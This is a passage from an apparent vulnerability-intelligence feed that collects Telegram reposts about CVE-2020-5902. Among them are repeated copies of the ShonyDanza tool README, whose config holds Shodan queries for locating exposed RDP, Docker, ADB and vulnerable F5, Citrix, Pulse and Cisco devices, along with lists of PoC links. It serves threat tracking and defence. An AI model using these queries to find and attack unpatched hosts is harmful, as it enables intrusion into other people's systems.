ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:33.171674Z"}, {"uuid": "f61ff38c-6bc2-4f06-af23-9994f9d9a23b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/33339", "content": "KitPloit - PenTest Tools!\nShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nhttp://3.bp.blogspot.com/-HfvtRTCYnTM/YZ3QJbhSs3I/AAAAAAAA4AU/kC3BBy581dgTiAKCIDOlmGtohgCXuQhlgCK4BGAYYCw/w640-h524/ShonyDanza_1_shonydanza_demo-780791.gif A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installationgit clone https://github.com/fierceoj/ShonyDanza.gitRequirements\n\n* python3\n* shodan library cd ShonyDanzapip3 install -r requirements.txtUsageEdit config.py to include your desired configurations cd configssudo nano config.py#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0' Run cd ../python3 shonydanza.pySee this how-to article for additional usage instruction. Legal DisclaimerThis project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:33.322474Z"}, {"uuid": "b1f52e7f-6a11-4aed-a06f-8cc7c7dfc439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hackersmeet0/2406", "content": "\ud83d\udd30 Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\n\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\n\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\n\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\n\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\n\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\n\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\n\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\n\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\n\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\n\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\n\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb\n\nCVE Lab Access : https://www.vulnmachines.com", "creation_timestamp": "2026-09-02T01:03:31.076101Z"}, {"uuid": "1914eae3-0cf4-4eac-a78b-6344a4360576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-02T01:04:38.508928Z"}, {"uuid": "71c4f2b4-7bf9-44f0-b3e5-3f3836e499bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/2541", "content": "Top vulnerabilities 2020 with POC\n\nCVE-2020-17530 | Apache Struts RCE\nhttps://youtu.be/MUAAwijvAe8\n\nSaltstack RCE | CVE-2020-16846\nhttps://youtu.be/5cV9wh2w-O8\n\nApache Unomi RCE | CVE-2020-13942\nhttps://youtu.be/iz6wjdGnpds\n\nGhost Cat | CVE-2020-1938\nhttps://youtu.be/3TGIg1x4XwU\n\nOracle WebLogic RCE | CVE-2020-14882\nhttps://youtu.be/t-sxvcZNFZo\n\nApache Tomcat RCE | CVE-2020-9484\nhttps://youtu.be/nF8tfsY74ws\n\nMoodle RCE | CVE-2020-14321\nhttps://youtu.be/BkEInFI4oIU\n\nCisco CVE-2020-3452 poc\nhttps://youtu.be/-UldKwwVgHE\n\nWordpress database plugin | CVE-2020-7048\nhttps://youtu.be/nj_dqcvrwp4\n\nCVE-2020-5902 F5 big IP\nhttps://youtu.be/-ppzdYDk-ZM\n\nOther CVE PoC videos\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb", "creation_timestamp": "2026-09-02T01:04:49.947206Z"}, {"uuid": "ec75d935-3897-4631-95f9-b5b50aae382d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-02T01:04:50.333952Z"}, {"uuid": "69e40943-c538-4046-852e-044de64e6ae9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/1878", "content": "Malware \n1. Sophisticated new Android malware marks the latest evolution of mobile ransomware\nhttps://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/\n\n2. MontysThree: \nIndustrial espionage with steganography\nhttps://securelist.com/montysthree-industrial-espionage/98972/\n\n3. Ryuk Ransomware Writeup\nhttps://thedfirreport.com/2020/10/08/ryuks-return/\n\nRed team\n1. Arbitrary code execution on Facebook for Android through download feature (PoC)\nhttps://medium.com/@dPhoeniixx/arbitrary-code-execution-on-facebook-for-android-through-download-feature-fb6826e33e0f\n\n2. Bypassing DOMPurify again with mutation XSS\nhttps://portswigger.net/research/bypassing-dompurify-again-with-mutation-xss\n\n3.Powershell Logging: \nObfuscation and Some New (ISH) Bypasses\nPart 1:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/\nPart 2:\nhttps://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-2/\n\n4.Possible attacks against VoIP\nhttps://medium.com/bugbountywriteup/a-tale-of-voip-security-testing-39937fe8c6fd\n\n5.PowerShell functions for Red Team to collect data from a machine\nhttps://securityonline.info/powershell-red-team/\n\n\ud83d\ude03\nCVE-2020-13756:\nSabberworm PHP CSS parser (before 8.3.1)\nsuffers from a code injection vulnerability (PoC)\nhttps://packetstormsecurity.com/files/157923/Sabberworm-PHP-CSS-Code-Injection.html\n\nUEFI fuzzing :\nPart 1. Moving From Common-Sense Knowledge About UEFI To Actually Dumping UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-common-sense-knowledge-about-uefi-to-actually-dumping-uefi-firmware/\nPart 2. Moving From Manual Reverse Engineering of UEFI Modules To Dynamic Emulation of UEFI Firmware\nhttps://labs.sentinelone.com/moving-from-manual-re-of-uefi-modules-to-dynamic-emulation-of-uefi-firmware/\n\n\ud83d\ude03\nCVE-2020-5902 (9.8/10):\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), has a RCE vulnerability in undisclosed pages (PoCs)\nhttps://www.cvebase.com/cve/2020/5902", "creation_timestamp": "2026-09-02T01:04:59.285231Z"}, {"uuid": "148e3d95-2120-4553-a0c3-43d124065004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/905", "content": "Critical Unauthorized RCE Vulnerability (CVE-2020-5902 with CVSS Score 10/10) Affects F5's BIG-IP Application Security Servers Used in large Enterprises, Data Centers, and Cloud Computing Environments.\n\nhttps://thehackernews.com/2020/07/f5-big-ip-application-security.html\n\nApply Newly Released Patch Updates ASAP!\ud83d\udc4d\ud83c\udffd\ud83d\udc4d\ud83c\udffd\u270c\ud83c\udffc\ud83d\ude28", "creation_timestamp": "2026-09-02T01:05:04.971881Z"}, {"uuid": "82f2d89f-6bd9-4b8e-9efd-38386bd954bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cissp/900", "content": "F5 BigIP TMUI Critical RCE (CVE-2020-5902/5903):\ud83d\ude03\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/\n\nPoC:\ud83d\udc4d\ud83c\udffd\nhttps://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4\n\nSecurity Advisory:\u270c\ud83c\udffc\nhttps://support.f5.com/csp/article/K52145254", "creation_timestamp": "2026-09-02T01:05:05.108050Z"}, {"uuid": "6e5883e3-be7c-4f84-9ec8-cbe9d68991ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-01)", "content": "", "creation_timestamp": "2026-09-02T10:15:09.349502Z"}, {"uuid": "e2ecd248-da4b-4f80-9497-347326e7f143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/795CHWfqDB8d387Ptvi9l1rsbPfOiWfhqBLWL_BanVVXFSs", "content": "", "creation_timestamp": "2026-09-03T00:00:55.363040Z"}, {"uuid": "51603bc3-37ce-4ae6-a818-6a200d31a51f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/161896", "content": "How to manually hunt for F5 Big-IP RCE (CVE 2020\u20135902, CVE2022\u20131388)\nhttps://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T09:00:05.922105Z"}, {"uuid": "c552cbaa-ff10-45f1-9991-ea9dd19ce32a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/161898", "content": "Manual testing steps with shodan dork and python script to test via terminal.Continue reading on Medium \u00bb (https://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T10:00:04.556821Z"}, {"uuid": "b65f6691-3b81-4037-8211-2cff9c653abf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/161898", "content": "Manual testing steps with shodan dork and python script to test via terminal.Continue reading on Medium \u00bb (https://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:53.967598Z"}, {"uuid": "d762185f-295f-4323-a31f-004f52171ce2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/161896", "content": "How to manually hunt for F5 Big-IP RCE (CVE 2020\u20135902, CVE2022\u20131388)\nhttps://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:54.081588Z"}, {"uuid": "de393866-7614-4f88-8a5d-3a3861651257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T07:00:05.866062Z"}, {"uuid": "a43bd60f-fd31-4b9c-9f93-72f3266ef450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T11:00:05.469900Z"}, {"uuid": "8b5c51be-338d-4811-9ee1-71161233f59f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T16:00:04.841525Z"}, {"uuid": "54f45395-3fd4-4422-9614-65c2ed1ad22a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan 